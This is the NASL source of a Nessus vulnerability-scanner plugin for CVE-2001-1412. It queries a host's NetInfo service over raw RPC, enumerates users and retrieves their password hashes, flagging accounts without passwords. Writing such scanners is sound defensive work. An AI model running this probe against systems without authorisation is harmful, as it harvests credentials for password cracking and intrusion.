NetInfo Arbitrary Remote File Access

2003-10-19T00:00:00
ID NETINFO_PASSWD.NASL
Type nessus
Reporter This script is Copyright (C) 2003-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
Modified 2020-02-02T00:00:00

Description

Using NetInfo, it is possible to obtain the password file of the remote host by querying it directly.

An attacker may use it to set up a brute-force attack to crack the passwords contained in the file, and then use the gained passwords to login into the remote host, either remotely or locally.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include( 'compat.inc' );

if(description)
{
  script_id(11898);
  script_version("1.24");

  script_cve_id("CVE-2001-1412");
  script_bugtraq_id(2953);

  script_name(english:"NetInfo Arbitrary Remote File Access");
  script_summary(english:"Uses NetInfo to read /etc/passwd remotely");
  script_set_attribute(
    attribute:'synopsis',
    value:'The remote service is prone to an information disclosure flaw.'
  );

  script_set_attribute(
    attribute:'description',
    value:"
Using NetInfo, it is possible to obtain the password file of the remote host
by querying it directly.

An attacker may use it to set up a brute-force attack to crack the
passwords contained in the file, and then use the gained passwords to
login into the remote host, either remotely or locally.");

  script_set_attribute(
    attribute:'solution',
    value: "Restrict access to NetInfo."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(
    attribute:'see_also',
    value:'https://marc.info/?l=bugtraq&m=99953038722104&w=2'
  );

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/10/19");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/06/26");
 script_cvs_date("Date: 2018/11/15 20:50:23");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2003-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Misc.");
  script_dependencies("rpc_portmap.nasl", "netinfo_detect.nasl");
  script_require_keys("Services/netinfo");
  exit(0);
}

include("data_protection.inc");

RPC_PROG = 200100000;

function get_rpc_port(protocol, program)
{
 local_var	broken, req, soc, r, port;
 local_var	a, b, c, d, p_a, p_b, p_c, p_d, pt_a, pt_b, pt_c, pt_d;



 a = rand() % 255;
 b = rand() % 255;
 c = rand() % 255;
 d = rand() % 255;

 p_a = program / 16777216; 	p_a = p_a % 256;
 p_b = program / 65356; 	p_b = p_b % 256;
 p_c = program / 256;   	p_c = p_c % 256;
 p_d = program % 256;

 pt_a = protocol / 16777216; pt_a = pt_a % 256;
 pt_b = protocol / 65535   ; pt_b = pt_b % 256;
 pt_c = protocol / 256;    ; pt_c = pt_c % 256;
 pt_d = protocol % 256;


 req = raw_string(a, 	b, 	c, 	d, 	# XID
 		  0x00, 0x00, 0x00, 0x00,	# Msg type: call
		  0x00, 0x00, 0x00, 0x02,	# RPC Version
		  0x00, 0x01, 0x86, 0xA0,	# Program
		  0x00, 0x00, 0x00, 0x02,	# Program version
		  0x00, 0x00, 0x00, 0x03,	# Procedure
		  0x00, 0x00, 0x00, 0x00,	# Credentials - flavor
		  0x00, 0x00, 0x00, 0x00, 	# Credentials - length
		  0x00, 0x00, 0x00, 0x00,	# Verifier - Flavor
		  0x00, 0x00, 0x00, 0x00,	# Verifier - Length

		  0x0b, 0xed, 0x48, 0xa1,	# Program
		  0xFF, 0xFF, 0xFF, 0xFF,	# Version (any)
		  pt_a, pt_b, pt_c, pt_d,	# Proto (udp)
		  0x00, 0x00, 0x00, 0x00	# Port
 		  );


  port = int(get_kb_item("rpc/portmap"));
  if(port == 0)port = 111;


 broken = get_kb_item(string("/tmp/rpc/noportmap/", port));
 if(broken)return(0);

 if (! get_udp_port_state(port)) return 0;
 soc = open_sock_udp(port);
 send(socket:soc, data:req);
 r = recv(socket:soc, length:1024);

 close(soc);
 if(!r)
 {
  set_kb_item(name:string("/tmp/rpc/noportmap/", port), value:TRUE);
  return(0);
 }

 if(strlen(r) < 28)
  return(0);
 else
  {
   p_d = ord(r[27]);
   p_c = ord(r[26]);
   p_b = ord(r[25]);
   p_a = ord(r[24]);
   port = p_a;
   port = port * 256;
   port = port +p_b;
   port = port * 256;
   port = port + p_c;
   port = port * 256;
   port = port + p_d;
   return(port);
  }
}





function netinfo_recv(socket)
{
 local_var buf, len;

 buf = recv(socket:socket, length:4);
 if(strlen(buf) < 4)return NULL;

 len = ord(buf[3]) + ord(buf[2])*256;

 buf += recv(socket:socket, length:len);
 return buf;
}


function decode_strings(reply)
{
 local_var len, pad, start;
 local_var ret, str, value;

 ret = make_list();
 start = 46;

 while ( TRUE )
 {
 if(start > strlen(reply))break;
 len = ord(reply[start]) * 256 + ord(reply[start+1]);
 start += 2;
 str = substr(reply, start, start + len - 1);
 if( strlen(str) % 4 ) pad = 4 - strlen(str) % 4;
 else pad = 0;
 start += len + 6 + pad;
 len = ord(reply[start]) * 256 + ord(reply[start+1]);
 start += 2;
 value = substr(reply, start, start + len - 1);
 if( strlen(value) % 4 ) pad = 4 - strlen(value) % 4;
 else pad = 0;
 start += len + 2 + pad;
 ret[str] = value;
 }
 return ret;

}


report = "";
passwdless = "";


rpcport = get_rpc_port(protocol:IPPROTO_TCP, program:RPC_PROG);
if ( rpcport && get_port_state(rpcport))
{
 soc = open_sock_tcp(rpcport);
 if (  soc )
 {
  req = raw_string(0x80, 0x00, 0x00, 0x28, 0x11, 0xe0, 0x40, 0x95,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa1, 0x00, 0x00, 0x00, 0x01,
		 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00);

 send(socket:soc, data:req);
 r = netinfo_recv(socket:soc);
 close(soc);
 if(strlen(r) > 35)
 {
  num_domains = ord(r[35]);
  start = 38;
  for ( i = 0 ; i < num_domains ; i ++ )
   {
   if(start > strlen(r))break;
   len = ord(r[start]) * 256 + ord(r[start+1]);
   start += 2;
   domain[i] = substr(r, start, start + len - 1);
   start += len + 10;
   if(len % 4)start += 4 - (len % 4);
   }
  }
 }
}

rpcport = get_rpc_port(protocol:IPPROTO_UDP, program:RPC_PROG);
flag = 0;
if ( rpcport )
{
 for ( n = 0 ; n < num_domains ; n ++ )
 {
 soc = open_sock_udp(rpcport);
 l_lo = strlen(domain[n]) % 256;
 l_hi = strlen(domain[n]) / 256;
 r = raw_string(0x68, 0xc1, 0x58, 0x98, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x0b, 0xed, 0x48, 0xa1,
		0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, l_hi, l_lo) + domain[n];
 if(strlen(domain[n]) % 4)r += crap(data:raw_string(0), length:4-(strlen(domain[n]) % 4));
 send(socket:soc, data:r);
 r = recv(socket:soc, length:4096);
 close(soc);
 if ( !r ) break;
 else flag = 1;

 port = ord(r[strlen(r) - 2]) * 256 + ord(r[strlen(r) - 1]);
 domain_port[domain[n]] = port;
 }
}

#
# If we can not connect to nibindd, then we brute force
# our way by connecting to every port on which we KNOW that
# netinfo is listening.
#
if ( ! flag )
{
 ports = get_kb_list("Services/netinfo");
 if(isnull(ports))exit(0);
 else ports = make_list(ports);
 foreach p (ports)
 {
  domain_port["unknown_on_port_" + string(p)] = p;
 }
}

foreach dom (keys(domain_port))
{
 port = domain_port[dom];
 if ( get_port_state(port) )
 {
 soc = open_sock_tcp(port);
 if( soc )
 {
 req = raw_string(0x80, 0x00, 0x00, 0x28, 0x15, 0xeb, 0x49, 0x80,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00);

send(socket:soc, data:req);
r = netinfo_recv(socket:soc);



req = raw_string(0x80, 0x00, 0x00, 0x28, 0x15, 0xeb, 0x49, 0x7f,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00);

send(socket:soc, data:req);
r = netinfo_recv(socket:soc);



#
# Request the users map
#

req = raw_string(0x80, 0x00, 0x00, 0x44, 0x15, 0xeb, 0x49, 0x7e,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00,
	 	 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x04,
	         0x6e, 0x61, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x05,
		 0x75, 0x73, 0x65, 0x72, 0x73, 0x00, 0x00, 0x00);

send(socket:soc, data:req);
r = netinfo_recv(socket:soc);

if ( r )
{
req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7d,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
		 0x00, 0x00, 0x00, ord(r[strlen(r) - 1]));

send(socket:soc, data:req);
r = netinfo_recv(socket:soc);
}

if ( r )
{
req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7c,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		 0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
		 0x00, 0x00, 0x00, ord(r[strlen(r) - 1]));


send(socket:soc, data:req);
r = netinfo_recv(socket:soc);
}

if(strlen(r) > 35)
 {
num_users = ord(r[35]);


j = 0;
for(i=0;i<num_users*4;i+=4)
{
 if(40 + i > strlen(r))break;
 users[j] = substr(r, 36 + i, 39 + i);
 j++;
}

users[j] = NULL;

for ( i = 0 ; i < num_users ; i ++ )
{
 req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7b,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		  0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
		  0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00) + users[i] + raw_string(
		  0x00, 0x00, 0x00, 0x0c);
 send(socket:soc, data:req);
 r = netinfo_recv(socket:soc);
 user = decode_strings(reply:r);
 if(user["name"] && user["uid"])
 {
 if ( flag == 0 )
 {
 report += ". In domain '" + dom + "' :

";
 flag = 1;
 }

 report += string(user["name"], ":", user["passwd"], ":", user["uid"], ":", user["gid"], ":", user["realname"], ":", user["home"], ":", user["shell"], "\n");
 if(strlen(user["passwd"]) == 0 )
  {
  passwdless += '  . ' + user["name"] + '\n';
  }
 if ( ! ereg(pattern:"^\**", string:user["passwd"]) )
	not_shadow ++;
 }
 }
 }
 }
}
 flag = 0;

}



if(strlen(report))
{
if(strlen(passwdless))
{
 passwdless = data_protection::sanitize_user_enum(users:passwdless);
 report += "
Note that the following accounts have NO PASSWORD set :
" + passwdless;
 }

 security_warning(port:port, extra:report);
}